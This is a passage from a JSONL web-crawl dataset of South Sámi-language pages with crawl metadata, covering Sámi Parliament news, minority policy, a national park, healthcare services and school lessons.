ööhpehtidh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma\/tema\/urfolk-og-nasjonale-minoriteter","date":"2024-04-22T01:27:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00849.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":152,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïelth\nDaennie sæjrosne åådtje daejredh mah sïelth mah maam akt faalehtieh åålmegemiehtjesne jallh åålmegemiehtjien raastebielesne.\nFïerhte sïelte aktem sæjroem åtna gusnie bïevnesh sïelten faalenassi bïjre.\nGaskesadth sïeltigujmie jallh prosjektine jis misse onterde sïelti bïjre jïh dej faalenassi bïjre.\nGegkestibie dijjieh daej sïelti tjïrrh såemies åajvoeh dååjresh eatnamisnie åadtjode.\nJienebh sïelth sïjhtieh aaj båetedh, gosse dah viermesne meatan sjïdtieh. Sïjhtebe dejtie ahkedh olkese bïejedh.\nSïelte Stall OMM, Per Morten Storhaug, lea åålmegemiehtjesne mïnneminie. Guvvie: Tor Grenne","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/Turist\/Bedrifter.aspx","date":"2013-05-20T09:27:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698693943\/warc\/CC-MAIN-20130516100453-00022-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":75,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Væjroe\nSkarvan jïh Roltdalen åålmegemiehtjesne lea nuepieh dovne stoerre jïh smaave vijrh vijredh. Jeenjemes sarvh, bene sjåårhte jïh råase aaj gååvnesieh. Gåarede aaj rïeksegh jïh stoerreledtieh lidtedh.\nDah vaerieståvroeh væjroem reerieh staatealmenninginie, mearan Meråker Brug akte vihkeles aktøøre Meråkerisnie. Juktie vielie lohkedh væjroenuepiej bïjre, vuartesjh:\nSonen, Sonvadfoss jïh Meråkeren vaerieståvroeh: www.inatur.no\nStoerrevijre-væjroe Sonen, Sonvadfoss jïh Meråkeren vaerieståvroeh: www.inatur.no\nSmaavevijre-væjroe Selbu vaerieståvroe: www.inatur.no\nStoerrevijrevæjroe Selbu vaerieståvroe: www.inatur.no\nSelbu miehtjiesdajve: www.selbuutmark.no\nMeråker Brug: www.merakerbrug.no\nBodtetje biejjh-guakosne. Govvie: Ole Kristian Dyrdal","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/Turist\/UtendorsAktiviteter\/Jakt.aspx","date":"2013-05-23T05:07:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702849682\/warc\/CC-MAIN-20130516111409-00062-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9998453856,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998453855514526}","num_words":78,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieGonagasreappát dievasčoahkkimis\nGo Sámedikki politihkkárat deaivvadit dievasčoahkkimii golggotmánu 6. – 10.b., lea gonagasreabbábivddu bivdin- ja hálddašanproseassat okta dain áššiin mat galget meannuduvvot.\n-\nSaernie- Logge iežat sisa mánáid eallimii\nRávesolbmot fertejit logget iežaset mánáid eallimii sosiála mediain, dadjá sámediggeráđđi Silje Karine Muotka.\n-\nSaernieBööremes plakaate irhkemen vööste man aarvoe 10 000 kråvnah\nSoptsesth irhkemen vööste jïh vitnh 10 000 kråvnah! Saemiedigkie 10 000 kråvnah vadta dan skuvlese jallh skuvleklaassese mij dam bööremes plakaatem irhkemen vööste dorje. Plakaate tjuara mijjese seedtesovvedh rïhkeden\/golken 24.b. åvtele...\n-\nSaernieMinisttar beahttá reabbábivdiid\n- Guolástusministtar ii leat váldán vuhtii mearrasámi kulturvuođu ja dárbbu ain beassat doaimmahit lotnolasealáhusaid vuonain ja rittus, go dadjat ija badjel sihkastuvvo ollu smávvafanaseaiggádiid dienasvuođu deaŧalaš oassi, dadjá sámediggeráđđi S...\n-\nSaernieKultuvrejielemem Tromsesne dåarjede\nMåantan Saemiedigkieraerie guessine mænna Kåfjovlese jïh daan sjïekenisnie aktem orre programmem saemien kultuvrejielemebarkijidie bæjhkohte mej nïekedasse lea sijjen kåanste- jïh kultuvrevuekijste jieledh. Programme sijjiem åtna 12 eadtjohke alme...\n-\nSaernieSaemien lusteslaakan lïeredh – saemien låammegærjetje bæjhkoehtamme\nSïjhth såemies saemien baakoeh lïeredh? Jallh dagke sïjhth naan åajvoehbaakoeh jiehtedh aktene jeatjah saemien gïelesne goh jïjtje soptsesth? Dellie daate låammegærjetje biejjieladtje baakoejgujmie jïh raajesigujmie dovne noerhtesaemien, julevsaem...\nSeminaare jïh konferaanse\nMøte\nAejkiemierieMïnnh biejjielåhkose\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.saemiedigkie.no\/","date":"2014-09-19T01:44:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1410657129431.12\/warc\/CC-MAIN-20140914011209-00273-ip-10-196-40-205.us-west-1.compute.internal.warc.gz","language":"sma","language_score":0.9689887762,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9689887762069702, \"sme_Latn_score\": 0.03067738376557827}","num_words":214,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieSaemiedigkieraerien eejehtalleme 2015\nSaemiedigkieraerien lïhtsegh eejehtellieh boelhken ruffien mïetsken raajan. Vuelielisnie vuajnah gïeh stïeresne fïerhnen tïjjen Saemiedigkien politihkeles ståvrosne.\n-\nSaernieMari Boine tjaelijeööhpehtimmien rïhpestæmman båata\nSaemiedigkien, Saemien tjaelijesiebrien jïh Saemien tjiehpiedæjjasiebrien tjåenghkies prosjekte sov voestes studentetjåanghkoem åtna 26. - 28.06 Altesne. Dïhte åehpies naestie Mari Boine edtja rïhpestimmesne årrodh jïh konsertem hööltie tjaelijest...\n-\nSaernieDåarjoeh saemien kultuvremojhtesevaarjelæmman\nVuesiehtimmie saemien dåaroehistovrijistie, goerehtalleme saemien kultuvregïejeste bietsine jïh dåvvome buvrijste dejnie golme noerhtemes fylhkine. Saemiedigkieraerie lea 2,7 millijovnh dåårjeme ovmessie kultuvremojhteseprosjektide.\n-\nSaernieGïelegaaltije beetnehvierhtieh åådtje\nSaemien Parlamentarihkeles Raerien åvtehke, Tiina Sanila-Aikio lea madtjeles ihke Saemien Gïelegaaltije beetnehvierhtieh åådtje Interregen tjïrrh. Daej beetnehvierhtiejgujmie gåarede dam raastendåareste gïelelaavenjostoem tjïrrehtidh, Sanila-Aikio...\n-\nSaernieDieđihii eanet áŋgiruššama veahkaválddi vuostá\nSámedikki presideanta Aili Keskitalo dieđihii odne eanet áŋgiruššama eastadit veahkaválddi, hárdima ja givssideami sámi servodagas. – Beassat bajásšaddat ja eallit almmá ballamis veahkaválddis, áitagiin ja givssideamis lea olmmošvuoigatvuohta.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2015-27","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-06-30T05:14:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375091751.85\/warc\/CC-MAIN-20150627031811-00091-ip-10-179-60-89.ec2.internal.warc.gz","language":"sma","language_score":0.9989703894,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9989703893661499}","num_words":201,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goeven 1999 rijhkebiejjie nännoesti Sveerje edtja Europaraerien mieriekonvensjovnesem mij vaarjelimmien nasjovnelle unnebelåhkojde bïjre jih europan njoelkedasside laantebiehkie- jallh unnebelåhkoegïeli bïjre mietiedidh. Rijhkebiejjie aaj nännoesti unnebelåhkoepolitihken bïjre jih vïjhte unnebelåhkoej jih dej gïelh (gaajhkh smaare tjierth) dååhkasjehtedh.\nSveerjen nasjovnelle unnebelåhkoeh jih unnebelåhkoegïelh\nDah vïjhte dååhkasjehteme nasjovnelle unnebelåhkoeh Sveerjesne leah judarh, romerh, saemieh (mah aaj aalkoealmetjh leah), sveerjesåevmieh jïh tornedaelingh. Dah histovrijen unnebelåhkoegïelh lea jiddisch, romani chib, saemien, såevmien jïh meänkieli.\nSeamma gaajhkide unnebelåhkoedåehkide dah leah guhkiem tijjem Sveerjesne orreme jih leah dåehkieh tjïelkes ektievoetine. Dej leah aaj jitsene relijovnes, gïeleldh jih kultuvrellen åtnoeh jih aaj säjhtoem sijjen kultuvrh gorredidh.\nReerenassen unnebelåhkoepolitihke\nUnnebelåhkoepolitihkesne gyhtjelassh vaarjelimmien jih dåarjedimmien bïjre dejtie nasjovnelle unnebelåhkojde jih unnebelåhkoegïelide. Biehkie Sveerjen barkoste aalmetji reaktah vaarjelidh lea dej nasjovnelle unnebelåhkoej vaarjelimmiem nännoestidh.\nUnnebelåhkoepolitihken strategije\nJaepie 2009 reerenasse orre politihke strategijem åehpiedahti råajvarimmiejgujmie mah edtjieh dej nasjovnelle unnebelåhkoej reakta vielie nännoestidh. Biehkie dejstie strategijste laake nasjovnelle unnebelåhkoej jih unnebelåhkoegïeli bïjre faamoem Tsiengelen 1.b 2010 åadtjoeji. Strategijen sisvegisne ovmessie raeriestimme guktie dej nasjovnelle unnebelåhkoej reaktah nännoestidh, diss-vielie råajvarimmeh juktie:\n- öörnedh ihke minngiejielemem Europaraerien unnebelåhkoekonvensjovni mietie bueriedehtie jih dååhkasjadteme råajvarimmide vihtesjidh\n- vuastalidh diskrimineringe jih aehpie tsiehkide dejstie nasjovnelle unnebelåhkojste\n- nännoestidh dej nasjovnelle unnebelåhkoej jijtjefaamoeh jih tsevtsemasse\n- nasjovnelle unnebelåhkoegïeli gorredimmie evtiedidh","id":"","dump":"CC-MAIN-2016-36","url":"http:\/\/www.lansstyrelsen.se\/stockholm\/Sv\/manniska-och-samhalle\/nationella-minoriteter\/aarjelsaemien\/Pages\/default.aspx","date":"2016-08-26T10:09:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-36\/segments\/1471982295424.4\/warc\/CC-MAIN-20160823195815-00218-ip-10-153-172-175.ec2.internal.warc.gz","language":"sma","language_score":0.9999368191,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999368190765381}","num_words":195,"character_repetition_ratio":0.165,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Internedten dïenesjisnie Mina vårdkontakter maahta varke, aelhkieslaakan jïh vihtieslaakan dejtie dov håksoe-ieride stuvredh jïh ih daarpesjh tellefovnesne vuertedh.\nMaahtah håksoem veeljedh, dongkedh klamydijatest jïh vuartasjidh magkerh daalhkesh åtnah. Gaajhkh håksoejarngh jïh sjïerehåksoe Dalarnisnie aaj joekoen faaleldahkh dïenesjimmijste utnieh goh v g:\n- Tïjjem dongkedh\n- Tïjjem sliejhtedh jïh jeatjahtehtedh\n- Receptem orrestehtedh\n- Viehkievierhtide orrestehtedh\n- Pryövemi bïjre gihtjedh\n- Vaastojde röntgenistie gihtjedh\n- Hoksedæjjese bievnedh","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.ltdalarna.se\/Om-webbplatsen\/Other-languages\/Saemiensamiska\/Giejgujmie-haksosne-govlehtalledh\/","date":"2016-09-24T20:55:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738659496.36\/warc\/CC-MAIN-20160924173739-00248-ip-10-143-35-109.ec2.internal.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":59,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte redaktøøre Sagatsne laajhta, guktie Nøørjen reereme unniedamme daam presse dåarjemem, daejtie saemien plaeride jih jeatjah saemien aamhtside.\nTuhtjie buerebe orreme jis Nøørjen reereme daam åelkiesbielien krirrien staatetjaelije barkoesijjiem sliejhteme, jis edtjieh beetnegh spååredh. Anders Bals lea åelkiesbielien krirrie statetjaelije jih dah saemien aamhtsi åvteste barka.\n–Tuhtjem rovnege, saemien staatetjaelijem utnieh mij daejtie saemien aamhtside vuestele. Jis edtjieh beetnegh saemien aamhtside vaeniedidh, dellie buerebe orreme jis dihte saemien staatetjaelije orrijamme, Geir Wulffe jeahta.\nSæjhta beetneh-vierhtide jeatjah-laakan nuhtjedh.\nStaatetjaelije Anders Bals, reeremen raeriestimmem dåarjeme.\n– Edtjebe daam struktuvrem jeatjahtehtedh jih gihtjedh misse daejtie beetnegidie nuhtjebe. Jeatjah-laakan maehtieh beetneh-vierhtide nuhtjedh. Dihte lea aaj vihkeles gihtjelasse, Anders Balse jeahta.","id":"","dump":"CC-MAIN-2016-50","url":"https:\/\/www.nrk.no\/sapmi\/buerebe-staateraerije-orrije-1.11989869","date":"2016-12-08T22:09:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542657.90\/warc\/CC-MAIN-20161202170902-00233-ip-10-31-129-80.ec2.internal.warc.gz","language":"sma","language_score":0.9998637438,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998637437820435}","num_words":105,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Riepie\nRiepie\nRiepie lij ikth sualadamme naa jïjnjh bovtsh.\nDoh jeatjah juvrh lin viehkiehtamme leekeme. Jïh dle krovhtem dle tseegkin.\nGosse dïhte bearkoe lij dle doelteme, dle dïhte riepie vaadtsa akten spoerjehke deavan nille jïh dle gylje:\n\"Dle maa manne vuajnam almetjh röövrigujmie jïh saejhtiejgujmie jis båetieh!\"\nGaajhkh juvrh dan bïllijin, hajkelin varke edtjin tjïekedidh.\nNjåemele jïh tjetskie hajkejigan akten krovhten nualan tjïekedigan. Numhtie dle tjïrrelgöötin dah altese bieljie-gietjieh. Jïh numhtie die leah dah tjeehpes daan biejjien aaj guktie åvtetje biejjieh.\nDïhte tjetskie dïhte golh båelti dam altese siejpie-gietjiem. Jïh numhtie die lea dïhte aaj tjeehpes.\nJïh dïhte riepie! Dïhte golh gaajhke bearkoem oktegh bårreli.\nSpoerjehke\nspåavroeh – snau, uten\nvegitasjon","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/129308?fag=126960","date":"2017-03-30T04:57:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00272-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999507666,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999507665634155}","num_words":110,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nils Henrik Sara lea govhte jaepieh Nøørjen Båatsoesaemiej Rijhkesaervien (NBR) åvtehke orreme, geasan dellie orrije.\nGellieh båatsoe tjierth, sijhtieh daelie åarjelsaemien nyjsenæjjam, Ellinor Jåma (34) daan NBRn åvtehke sæjjan, nommedehtedh.\nMejtie daelie, akte nyjsenæjja NBRn åvtehke sjædta.\n– Daate åvtehke barkoe, domtoe sjiehteles munnjan.Båatsoe barkojne maehteles, jih daate politihkere barkoe dennie saemiedigkie raeresne jih mov øøhpetimmie edtjieh mannem nænnoestidh jeahta Jåma.\nEllinor M Jåma lea Saemiedigkie politihkere daan paartijesne Åarjel-saemiej Gielh daate lea sov mubpie veeljeme boelhke.\n–Manne sijhtem NBR organisasjovnem, jih abpe båatsoe dajvem Nøørjesne evtiedidh. Voestemes tjoara NBRen veeljeme dåehkie mannem nommedehtedh.\nDaan våhkoen, edtjieh dah båatsoe tjierth almetjh nommedehtedh daan NBRn åvtehke sæjjan.","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.nrk.no\/sapmi\/orre-nbrn-avtehke-1.11627684","date":"2017-03-24T08:34:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187744.59\/warc\/CC-MAIN-20170322212947-00651-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999961853027344}","num_words":104,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veanhtoe, argumeente jïh premisse\nVeanhtoe\nDïhte guhte argumenterede aktem veanhtoem åtna, amma mïelem akten aamhtesen bïjre. Mijjen vuesiehtimmie-tjaalegisnie tjaelijen veanhtoe tjïelkelaakan vååjnesasse båata bijjie-baakosne: «Nihtieh kreeke-pryövenassh!»\nArgumeente\nTjaelije sæjhta lohkijidie jaehkiehtidh daate veanhtoe lea reaktoe. Dellie argumeenth (buerkiestimmieh) daarpesje juktie sov veanhtoem voebnesjidh.\nMijjieh tjoerebe kreeke-pryövenassh nihtedh (veanhtoe)\n- dan åvteste kreekh njåvtasuvvieh jïh ibie dejtie tjaebpieslaakan gïetedh (argumeente)\n- dan åvteste pryövenassh eah daarpesjh vihties dotkeme-illedahkh vedtedh (argumeente)\nPremisse\nArgumentasjovnesne iktesth naan premissh. Akte premisse lea akte rïektese jallh akte bagkese man bïjre tjaelije veanhta gaajhkesh leah sïemes, jïh maam satne ij daarpesjh veelebe buerkiestidh. Tjaalegisnie «Nihtieh kreeke-pryövenassh!» tjaelije bagkese.\n- pryövenasse-kreekh leah kreekh mah eah maehtieh jïjtjemsem vaarjelidh (premisse)\n- dah stööremes healsoe-dåeriesmoerh leah jieledevoete-skïemtjelassh (premisse)\nTjaelije aaj bagkese lohkije lea sïemes satnine jïh nuekies daajroeh åtna bagkesidie vuarjasjidh. Ij naan statistihkeles rïektesigujmie jallh veelebe tjïelkestimmine båetieh.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- bruke kunnskap om retoriske appellformer i presentasjoner\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172881?fag=126960","date":"2017-03-25T07:55:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00177-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9993025064,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9993025064468384}","num_words":212,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NRK Saepmie daelie edtjieh giehtjedimmiem tjïrredidh, jih mijjieh dov viehkiem daapesjidh. Mijjieh sijhtebe daejredh magkeres nuepieh datne sijhth jih magkeres; TV, radijove jallh\/jih sosiale medier.\n– Sijhtebe eevtiedidh jih vaarjelidh\nUlmie lea vaestiedidh magkeres veantadimmie mijjien åarjel- jih julevsaemien vuartasjæjjah utnieh.\n– Mijjien ulmie lea vaarjelidh jih eevtiedidh dah gielh, jih dannasinnie mijjieh tjoerebe daejredh guktie magkeres vuekie lea bøøremes dam darjodh. Magkeres faaleldahke, jih guktie edtjebe dam darjodh? Mij lea vihkeles, jih mij ij lea vihkeles? Jeahta saernieredaktøre Ravdna Buljo Gaup.\nJis datne lea giehtjedimmien meatan, dellie datne maahtah DAB-radijove vitnedh.","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.nrk.no\/sapmi\/guktie-datne-sijhth-gielefaaleldahkem-edtja-arrodh_-viehketh-mijjiem_-1.12932864","date":"2017-03-30T20:35:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218203515.32\/warc\/CC-MAIN-20170322213003-00512-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999880790710449}","num_words":90,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24Dyrelotto med dyregåter Materialet består av totalt 72 dyr:6 spillplater à 12 dyrKort med dyrebilderKort med artsnavnKort med dyregåterSpïelen leah tjïjhtjeluhkie-göökte juvrh jïh mojnestimmieh mah govhte dåehkide juakeme.\n25Dyrelotto med dyregåter Kyst- og havdyr,fisker:Viltlevende små dyr,fugler:Mearoen dyjrh jïh guelieh jïh smaave dyjrh jïh ledtieh.\n26Dyrelotto med dyregåter Viltlevende store dyr:Husdyr:Stuerebh dyjrh jïh kreekh gaertienisnie.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/slideplayer.no\/slide\/2438153\/","date":"2017-04-24T13:30:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917119361.6\/warc\/CC-MAIN-20170423031159-00586-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9796969891,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9796969890594482, \"nob_Latn_score\": 0.012660782784223557}","num_words":52,"character_repetition_ratio":0.135,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kapihtelen bïjre\nIktegisth gosse datne lohkeminie jïh tjaelieminie dellie hijven maam akt daejredh sjangeri bïjre. Sjangere-daajroe joekoen vihkeles dutnjien gosse edtjh tjaeledh, dan åvteste dellie maallem åadtjoeh guktie tjaeledh.\nSisvege\nUlmie learoe-soejkesjistie:\nDatne edtjh maehtedh\n- faageles daajroeh jïh dïejvesh nuhtjedh soptsestimmine tjaalegi jïh gïelen bïjre\nDaennie kapihtelisnie datne åadtjoeh sjangeri bïjre lohkedh. Datne åadtjoeh lïeredh guktie sjangerh jarkesieh jïh guktie orre sjangerh sjidtieh. Datne maahtah dovne faage-tjaalegh lohkedh jïh laavenjassh darjodh.\nGuktie kapihtele öörneme\nKapihtelen gaektsie faage-sæjroeh. Voestegh datne åadtjoeh lïeredh mij akte sjangere, dan mænngan åadtjoeh lohkedh guktie sjangerh maehtieh jarkesidh. Datne aaj åadtjoeh lohkedh guktie maahtah sjangerh pleentedh, mah tjaalegh leah aamhtese-prosa jïh mah tjaalegh leah tjiehpies-lidteræære tjaalegh.\n- Mij akte sjangere\n- Påaste-kåarhth - snap-bïevnesasse\n- Sjangere-pleenteme\n- Sjangere jallh medijume?\n- Aamhtese-tjaalegh\n- Tjiehpies-lidterææren tjaalegh\n- Fierhte tjaalege akte sjangere?\n- Gie \"manne\" tjaalegisnie?","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/159493?fag=126960","date":"2017-04-29T19:29:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00282-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":129,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekten Gränslandet:en bïjre\nGränslandet lea bïevneshprosjekte dah uktsie vaarjelamme eatnemedajvh mejtie mijjieh gåhtjobe \"Gränslandet\". Prosjekten åssjelh lea dutnjien aelhkebe darjodh gie dajvese guessine båatah jallh jienebe sïjhth daejredh. Maam gååvnese vuejnedh jïh aejhtsedh. Mah njoelkedassh jïh mah dejtie juakadehtieh ovmessie dajvine jïh laantine. Maam edtjh datne ussjedh gosse guessine båatah guktie ij maehtieh datnem goeredh Gränslandet:esne. Ektesne maehtebe mijjieh sinsitniem viehkiehtidh daam vierhtegs eatnemedajvem vaarjelidh båetije biejjide!\nDïhte lea Lïeneståvroe Jïemhten jïh Dalarna lïenine mah ektesne Fylhkemaennine Hedmarken jïh Åarjel-Trøndelagen fylhkine prosjektem juhtedh. Prosjekte 2009 raejeste 2011 raajan jåhta.\nDah njieljie åejvieladtji diedte lea dajvem sujhtedh jïh reeredh jïh leah guhkiem dejnie laavenjostedh. Laavenjostemen tjïrrh daarpoem aajhtseme bïevnesh Gränslandet:en nuepieh ålkoejielemasse jïh dan eatneme- jïh kultuvrevierhtieh.\nDam sæjhta jaksedh:\nDennie webbesijjine lea jaepien 2011 barkeme. Seamma sïenten lea ektie gærjetjem dorjeme jïh aaj skïlth jïh bïevneshskïlth mah leah 61ovmessie sijjine biejeme Gränslandet:en sisnie jïh vihkeles sijjiej lïhke.\nBarkoem lea Interreg-prosjekten tjïrrh jåhteme mah EU lea maakseme jïh aaj eatnemevaarjelimmiebeetneginie nöörjen jïh sveerjen staatijste. Jaepien 2011 mænngan edtjieh dah njieljie reeremh jåerhkedh laavenjostedh prosjekten Gränslandet:en tjïrrh.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/graenslandet.se\/sv\/component\/content\/article\/135-prosjekten-graenslandeten-bijre-","date":"2017-04-30T11:06:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917125074.20\/warc\/CC-MAIN-20170423031205-00202-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 